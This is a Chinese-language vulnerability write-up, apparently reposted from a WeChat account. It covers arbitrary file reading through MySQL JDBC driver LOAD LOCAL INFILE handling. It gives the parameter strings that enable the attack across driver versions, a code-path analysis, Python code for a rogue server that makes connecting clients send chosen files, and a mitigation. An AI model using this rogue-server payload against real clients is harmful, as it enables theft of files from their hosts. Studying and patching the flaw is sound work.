8.0.14
在8.0.14版本下无需进行任何参数设置,可以直接读取任意文件。
8.0.25
无法直接读取任意文件。至少需要设置allowLoadLocalInfile=true
参数才可以使用。另外也可以试试allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/&maxAllowedPacket=655360
其他几个参数。原因在于不知道哪个版本开始allowLoadLocalInfile的默认值变成了false,详见com/mysql/cj/conf/PropertyDefinitions的静态代码块。
5.1.47
同8.0.25一样也无法直接读取任意文件。至少需要设置allowLoadLocalInfile=true
参数才可以使用。建议能使用全的payload就用全的。
漏洞分析
-
当mysql驱动进行任意sql语句操作时,会进入到NativeProtocol#sendQueryPacket->NativeProtocol#readAllResults->NativeProtocol#read流程中来。
-
在NativeProtocol#read函数中当columnCount为-1时就会从数据包中读取文件名,并将对应文件内容发送给服务器。
image-20230912163915433 -
columnCount只有在数据包正文中(数据包前4个字节为packetHeader不属于正文)第一个数据为fb的情况下才能被赋值为-1,之后的字节全部为文件名。
image-20230912164200965 image-20230912164139288 -
顺利进入sendFileToServer函数中后会直接将文件内容发送给服务器。
image-20230912170558765
漏洞复现
-
在服务器搭建恶意服务,这里我修改了jdbc反序列化恶意服务器的代码,具体是当接收到
show session status
查询时的响应内容。if
"show session status"
in data:
#第一个字节为数据包的长度,接下来的
000001
固定不变。fb为了让columnCount是-
1
。之后再拼接上要读取文件名的
16
进制编码即可。
_payload=
"{:0>2x}"
.format(len(sys.argv[
1
])+
1
)+
"000001fb"
+sys.argv[
1
].encode().hex()
_payload=_payload.encode()
print(_payload)
send_data(conn,_payload)
data=receive_data(conn)
send_data(conn, data)
data = receive_data(conn)
return
-
控制mysql连接该服务器,即可获取到文件内容。
1694567882.jpg -
读取到文件内容。
image-20230913092154171
修复方案
首先,用户可以控制url参数,但是绝对不能让用户控制properties。
在jdbc连接过程中会将properties解析并覆盖掉url中对应的参数。所以可以通过以下方式规避该问题。
Properties properties =
new
Properties();
properties.setProperty(
"allowLoadLocalInfile"
,
"false"
);
properties.setProperty(
"allowUrlInLocalInfile"
,
"false"
);
Connection conn = DriverManager.getConnection(c,properties);
结语
mysql蜜罐应该也是用的这个漏洞,目前存在该漏洞的系统还是蛮多的。
创作不易,转载需注明出自公众号"地表最强伍迪哥" :heart:
原文始发于微信公众号(地表最强伍迪哥):JDBC任意文件读取漏洞详解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论